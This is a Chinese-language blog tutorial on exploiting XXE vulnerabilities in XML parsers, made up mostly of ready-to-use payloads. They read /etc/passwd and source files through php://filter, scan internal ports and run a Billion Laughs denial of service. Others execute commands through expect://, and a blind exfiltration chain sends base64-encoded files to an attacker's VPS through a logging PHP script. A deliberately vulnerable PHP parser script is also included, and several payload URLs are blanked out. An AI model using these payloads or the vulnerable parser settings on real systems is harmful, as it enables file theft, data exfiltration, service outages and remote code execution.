您的位置 首页 php

一个合格程序猿应该知道的基础知识(三)—XXE攻击利用

(图片源于网络,侵删)

ps:每周四都是记笔记时间,都认真看黑板~

上篇文章介绍了XXE攻击注入,今天给大家介绍一下XXE的攻击利用。


1

前言

先准备一个有XXE漏洞的文件,如下:


xxe利用主要有:

  • 任意文件读取、

  • 内网信息探测(包括端口和相关web指纹识别)、

  • DOS攻击、

  • 远程命名执行


POC主要有:


不同程序支持的协议不同


2

xxe攻击利用

接下来我们为大家按顺序介绍这几种攻击利用:


  • 1、任意文件读取

任意读取的代码:

<?xml version=”1.0″ encoding =”utf-8″?>

<!DOCTYPE xdsec [

<!ELEMENT methodname ANY >

<!ENTITY xxe SYSTEM “file:///etc/passwd” >]>

<methodcall>

<methodname>&xxe;</methodname>

</methodcall>


1).有直接回显的情况:可以看命名实体写法,根据实际情况替换相应代码利用即可,我本地测试照搬过来

2).无回显的情况:可以看第一种命名实体+外部实体+参数实体写法和第二种命名实体+外部实体+参数实体写法

第一种写法结果如图:


c://test/1.txt文件内容为111111111,可以从apache的日志中看到

 ::1 - - [23/Apr/2017:17:37:13 +0800] "GET /111111111 HTTP/1.0" 404 207  

如果把替换为一个远程服务器的xml文件地址,即可在日志中看到我们想要获取的数据


第二种写法结果如图:


本地环境读取:


该CASE是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。


另外,数据不回显就没有问题了吗?如下图,

解析 dtd 后,我们得到以下实体:


果然有问题,我们可以把数据发送到远程服务器,

远程evil.dtd文件内容如下:

触发XXE攻击后,服务器会把文件内容发送到攻击者网站


基于file协议的XXE攻击

XMLInject.php

<?php

# Enable the ability to load external entities

libxml_disable_entity_loader (false);

$xmlfile = file_get_contents(‘php://input’);

$dom = new DOMDocument();

#

# LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值

# LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件

$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure

$creds = simplexml_import_dom($dom);

$user = $creds->user;

$pass = $creds->pass;

echo “You have logged in as user $user”;`?>

file_get_content(‘php://input’)接收post数据,xml数据
XML.txt

<?xml version=”1.0″ encoding=”ISO-8859-1″?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM “file:///etc/passwd” >]>

<creds>

<user>&xxe;</user>

<pass>mypass</pass>`</creds>

导致可以读出etc/passwd文件
在使用file://协议时,有以下几种格式:

file://host/path

* Linux

file:///etc/passwd

* Unix

file://localhost/etc/fstab

file:///localhost/etc/fstab

* Windows

file:///c:/windows/win. ini

file://localhost/c:/windows/win.ini

* (下面这两种在某些浏览器里是支持的)

file:///c|windows/win.ini

file://localhost/c|windows/win.ini


XML文档是用PHP进行解析的,那么还可以使用php://filter协议来进行读取。

<?xml version=”1.0″ encoding=”utf-8″?>

<!DOCTYPE root [

<!ENTITY content SYSTEM “php://filter/resource=c:/windows/win.ini”>

]>

<root><foo>&content;</foo></root>


基于netdoc的XXE攻击

==XML文档是用Java解析的话,可利用netdoc

<?xml version=”1.0″?>

<!DOCTYPE data [

<!ELEMENT data (#PCDATA)>

<!ENTITY file SYSTEM “netdoc:/sys/power/image_size”>

]>

<data>&file;</data>


读取本地文件:

以php环境为例,index.php内容如下:

<?php

$xml=simplexml_load_string($_GET[‘xml’]);

print_r((string)$xml);

?>


利用各种协议可以读取文件。比如file协议,这里的测试环境为win,所以这里我选择读取h盘里的sky.txt。

<?xml version=”1.0″ encoding=”utf-8″?>

<!DOCTYPE root [<!ENTITY file SYSTEM “file:///h://sky.txt”>]>

<root>&file;</root>

将上述xml进行url编码后传进去,可以发现读取了sky.txt中的内容。


注:

如果要读取php文件,因为php、html等文件中有各种括号<,>,若直接用file读取会导致解析错误,此时可以利用php://filter将内容转换为base64后再读取。

<?xml version=”1.0″ encoding=”utf-8″?>

<!DOCTYPE root [<!ENTITY file SYSTEM “php://filter/convert.base64-encode/resource=index.php”>]>

<root>&file;</root>

同样先经过url编码后再传入。

  • 2、内网信息探测

借助各种协议如http,XXE可以协助扫描内网,可能可以访问到内网开放WEB服务的Server,并获取其他信息


利用http协议,替换标准poc中相应部分即可,这种情况比较不稳定,根据不同xml解析器会得到不同的回显报错结果,例如我87关闭,88端口有web服务, 有的没有明显的连接错误信息,所以无法判断端口的状态



也可以探测内网端口:

该CASE是探测192.168.1.1的80、81端口,通过返回的“Connection refused”可以知道该81端口是closed的,而80端口是open的。


加载外部DTD时有两种加载方式,一种为私有private,第二种为公共public。


私有类型DTD加载:

  • <!ENTITY private_dtd SYSTEM “DTD_location”>

公共类型DTD加载:

  • <!ENTITY public_dtd PUBLIC “DTD_name” “DTD_location”>

在公共类型DTD加载的时候,首先会使用DTD_name来检索,如果无法找到,则通过DTD_location来寻找此公共DTD。利用DTD_location,在一定的环境下可以用来做内网探测。

<?xml version=”1.0″ encoding=”utf-8″?>

<!DOCTYPE root [

<!ENTITY portscan SYSTEM “”>

]>

<root><foo>&portscan;</foo></root>


因解析器种类不同,所以针对XXE攻击进行端口扫描需要一个合适的环境才能够实现,例如:有明显的连接错误信息, 利用DTD进行数据回显,有时读取文件时没有回显,这时可以利用DTD参数实体的特性将文件内容拼接到url中,达到读取文件的效果。

<?xml version=”1.0″ encoding=”utf-8″?> <!DOCTYPE root[ <!ENTITY % file SYSTEM “php://fileter/convert.base64-encode/resource=c:/windows/win.ini”> <!ENTITY % dtd SYSTEM “”> %dtd; %send;]> <root></root>

<!ENTITY % payload “<!ENTITY % send SYSTEM ‘”> %payload;

evil.dtd

在evil.dtd中将%file实体的内容拼接到url后,然后利用burp等工具,查看url请求就能获得我们需要的内容, 或者:

<?xml version=”1.0″ encoding=”utf-8″?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM “” >]>

<root>

<name>&xxe;</name>

</root>

  • 3、DOS攻击


最典型的案例Billion Laughs 攻击,Billion laughs attack,xml解析的时候,<lolz></lolz>中间将是一个十亿级别大小的参数,将会消耗掉系统30亿字节的内存。

POC:

<?xml version = “1.0”?>

<!DOCTYPE lolz [

<!ENTITY lol “lol”>

<!ELEMENT lolz (#PCDATA)>

<!ENTITY lol1 “&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;”>

<!ENTITY lol2 “&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;”>

<!ENTITY lol3 “&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;”>

<!ENTITY lol4 “&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;”>

<!ENTITY lol5 “&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;”>

<!ENTITY lol6 “&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;”>

<!ENTITY lol7 “&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;”>

<!ENTITY lol8 “&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;”>

<!ENTITY lol9 “&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;”>]>

<lolz>&lol9;</lolz>


或者:

<!DOCTYPE data [

<!ENTITY a0 “dos” >

<!ENTITY a1 “&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;”>

<!ENTITY a2 “&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;”>

<!ENTITY a3 “&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;”>

<!ENTITY a4 “&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;”>

]>

<data>&a4;</data>

POC中中先定义了lol实体,值为”lol”的字符串,后在下面又定义了lol2实体,lol2实体引用10个lol实体,lol3又引用了10个lol2实体的值,依此类推,到了最后在lolz元素中引用的lol9中,就会存在上亿个”lol”字符串


此时解析数据时未做特别处理,即可能造成拒绝服务攻击。 此外还有一种可能造成拒绝服务的Payload,借助读取/dev/random实现.

  • 4、远程命令执行

PHP下需要expect扩展

该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。


<?xml version=”1.0″ encoding=”utf-8″?>

<!DOCTYPE root [

<!ENTITY content SYSTEM “expect://dir .”>

]>

<root><foo>&content;</foo></root>


或者

<?xml version=”1.0″ encoding=”utf-8″?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM “expect://id” >]>

<root>

<name>&xxe;</name>

</root>

bind xxe


对于无回显的xml注入:

在你的vps上放1.xml文件,内容如下:

<!ENTITY % f SYSTEM “php://filter/read=convert.base64-encode/resource=file:///flag”>

<!ENTITY % all “<!ENTITY % s SYSTEM ‘http://你的vps/xxe.php?f=%f;’>”>


再在你的vps上放xxe.php,内容如下:

<?php

file_put_contents(“/tmp/1.txt”, $_GET[‘f’]);

?>


最后在可以写xml的页面写如下:

<!DOCTYPE ANY[

<!ENTITY % r SYSTEM “http://你的vps/1.xml”>

%r;

%all;

%s;

]>

访问1.txt就可以获得flag的内容


  • 5、攻击内网网站

该CASE是攻击内网struts2网站,远程执行系统命令。

<?xml version=”1.0″ encoding=”utf-8″?>

<!DOCTYPE root [

<!ENTITY exp SYSTEM “”>

]>

<root><foo>&exp;</foo></root>


或者

<?xml version=”1.0″ encoding=”utf-8″?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM “” >]>

<root>

<name>&xxe;</name>

</root>


或者

<?xml version=”1.0″ encoding=”utf-8″?>

<!DOCTYPE xdsec [

<!ELEMENT methodname ANY >

<!ENTITY xxe SYSTEM “” >]>

<methodcall>

<methodname>&xxe;</methodname>

</methodcall>


如果包含文件失败,可能是由于读取php等文件时文件本身包含的<等字符.可以使用Base64编码绕过,如:

<?xml version=”1.0″ encoding=”utf-8″?>

<!DOCTYPE xdsec [

<!ELEMENT methodname ANY >

<!ENTITY xxe SYSTEM “php://filter/read=convert.base64-encode/resource=index.php” >]>

<methodcall>

<methodname>&xxe;</methodname>

</methodcall>

利用外部实体构造payload向内网其他机器发出请求



推荐阅读


一个合格程序猿应该知道的基础知识—XML注入介绍

一个合格程序猿应该知道的基础知识(二)—XXE注入攻击

ps:都看懂了吗?没看懂得今天扣个2吧。还有昨天的U盘自动备份教程没领的的私信回复05可以来领


文章来源:智云一二三科技

文章标题:一个合格程序猿应该知道的基础知识(三)—XXE攻击利用

文章地址:https://www.zhihuclub.com/154345.shtml

关于作者: 智云科技

热门文章

网站地图